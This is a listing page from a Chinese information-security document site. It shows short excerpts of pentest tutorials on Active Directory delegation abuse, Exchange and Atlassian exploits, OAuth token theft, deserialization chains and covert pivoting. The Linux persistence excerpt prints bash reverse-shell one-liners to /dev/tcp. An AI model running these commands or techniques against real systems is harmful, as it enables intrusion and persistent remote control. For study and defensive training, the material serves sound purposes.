爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

域渗透——SeEnableDelegationPrivilege的利用

# 域渗透——SeEnableDelegationPrivilege权限的利用 ## 1. SeEnableDelegationPrivilege概述 SeEnableDelegationPrivilege是Windows域控制器中一个关键的用户权限，它允许计算机和用户账户执行委派操作。该权限配置在本地安全策略的"用户权限分配"部分，策略名为"信任计算机和用户帐户可以执行委派"。 **关键特性**： - 默认情况下，只有BUILTIN\Administrators成员（如Domain Ad

2025-08-25 16:07:38

微软Exchange服务器远程代码执行漏洞复现分析[CVE-2020-0688]

# Microsoft Exchange服务器远程代码执行漏洞分析(CVE-2020-0688) ## 漏洞概述 CVE-2020-0688是Microsoft Exchange Server中的一个远程代码执行漏洞，影响所有受支持的Exchange Server版本。该漏洞由匿名研究人员报告，微软在2020年2月的补丁中修复了此问题。 ## 漏洞原理该漏洞源于Exchange Server在安装时未能正确创建唯一的加密密钥，导致所有Exchange服务器安装使用了相同的`valida

2025-08-25 16:06:27

利用BloodHound分析域中的攻击路径

# BloodHound域攻击路径分析工具使用指南 ## 1. BloodHound简介 BloodHound是一款基于JavaScript的单页Web应用程序，构建在Linkurious框架上，使用Electron编译，后端数据库采用Neo4j。它通过可视化图形展示Active Directory环境中隐藏的、通常是无意的权限关系。 ### 主要功能： - 红队：轻松识别高度复杂的攻击路径 - 蓝队：识别和防御潜在的攻击路径 - 可视化展示域内权限关系 ## 2. 环境搭建 ###

2025-08-25 16:05:22

BugBounty-Facebook OAuth 框架漏洞

# Facebook OAuth 框架漏洞分析与利用教学文档 ## 漏洞概述本漏洞涉及Facebook OAuth 2.0实现中的一个安全缺陷，允许攻击者通过构造恶意请求窃取用户access_token，进而实现账户接管。该漏洞影响使用"Login with Facebook"功能的所有第三方服务，包括Instagram、Oculus、Netflix、Tinder、Spotify等。 ## 技术背景 ### OAuth 2.0流程 Facebook的"Login with Faceb

2025-08-25 15:54:10

从信息收集到内网漫游

# 从信息收集到内网漫游渗透实战指南 ## 概述本文详细记录了一次完整的渗透测试过程，从初始信息收集到最终获得内网访问权限的全流程。攻击者通过结合多种技术手段，成功进入目标企业内网，最终获得9000美元的漏洞奖励。 ## 渗透流程概览（TL;DR） 1. **Github信息收集**：寻找凭据和内网地址信息 2. **Google Hacking**：搜索敏感信息 3. **漏洞利用**：发现并利用Atlassian Crowd的CVE-2019-11580漏洞 4. **权限提升**：获

2025-08-25 15:53:23

Linux下的权限维持

# Linux权限维持技术详解 ## 0x00 关于权限维持权限维持是指在获得目标系统初始访问权限后，通过各种技术手段保持对目标的持续控制。目的是确保即使被发现或系统重启，攻击者仍能重新获得访问权限。 ## 0x01 获得初始权限 ### 反弹Shell技术 1. **Bash反弹** ```bash bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i 5<>/dev/tcp/host/port 0>&5 1>&5 `

2025-08-25 15:52:17

日志库logback的攻击路径

# Logback日志库安全攻击路径分析 ## 1. Logback简介 Logback是log4j创始人设计的开源日志组件，相比log4j具有以下优势： - 性能更高（关键路径性能提升十倍） - 内存占用更小 - 文档更完善 - 功能更全面被8000+项目使用，包括Spring Boot在内的多个框架已将其作为默认日志组件。 ## 2. 攻击路径分析 ### 2.1 配置文件加载机制 Logback通过`ContextInitializer.findURLOfDefaultCon

2025-08-25 15:50:16

我遇到的实战渗透

# PHPMyAdmin渗透测试实战教学文档 ## 信息收集阶段 ### 1. 基础信息收集 - **网站扫描工具**：使用https://scan.top15.cn/web/等在线扫描工具获取网站基本信息 - **操作系统识别**： - Windows对URL大小写不敏感，Linux敏感 - 使用火狐插件辅助判断 - **端口探测**：重点关注443端口(HTTPS服务) ### 2. PHPMyAdmin发现与利用 - 发现版本：2.10.3 - **漏洞利用步骤**： 1

2025-08-25 15:49:21

域渗透GOAD(Game Of Active Directory) v2（三）

# 域渗透GOAD(Game Of Active Directory) v2 教学文档 ## 0x08 权限提升 (Privilege Escalation) ### IIS - webshell利用 1. 通过上传漏洞获取webshell： - 目标地址：`http://192.168.56.22/Default.aspx` - 作者提供的webshell代码： ```asp <% Function getResult(theParam)

2025-08-25 15:48:28

域渗透GOAD(Game Of Active Directory) v2（四）

# 域渗透GOAD(Game Of Active Directory) v2 域信任与森林信任横向移动技术详解 ## 0x00 前言本文详细讲解域信任(子域到父域)和森林到森林信任的横向移动技术，基于GOAD v2实验环境。域信任不是安全边界，攻击者可以利用多种技术实现跨域和跨森林的权限提升。 ## 0x01 环境准备与更新如果部署较早的GOAD环境，需要执行以下更新： ```bash # 更新AD数据 sudo docker run -ti --rm --network host

2025-08-25 15:45:37

Java安全中commons-collections4包下的两条反序列化链

# Apache Commons Collections4 反序列化漏洞分析 ## 前言 Apache Commons Collections (CC) 是一个广泛使用的Java库，提供了许多有用的集合类和工具。在安全领域，CC库因其反序列化漏洞而闻名。本文主要分析commons-collections4包下的两条重要反序列化链：CC2和CC4。 ## CC6链在CC4中的修改在commons-collections4版本中，LazyMap类的decorate方法被替换为lazyMap

2025-08-25 15:43:35

Tailscale在内网渗透中利用的研究

# Tailscale在内网渗透中的利用研究 ## 一、Tailscale简介 Tailscale是一种基于WireGuard的多地组网软件，能够将多地主机聚合在一个虚拟局域网中，实现设备间的相互访问。所有节点采用P2P连接，具有以下特点： - 杀软检测规避：作为正常组网工具，不易被查杀 - 流量隐蔽性：传输流量不易被安全设备识别 - 跨平台支持：支持Windows、Linux等多种操作系统 ## 二、基础使用 ### 1. 账户注册 1. 访问官网 https://tailscale.

2025-08-25 15:42:14

跳转到页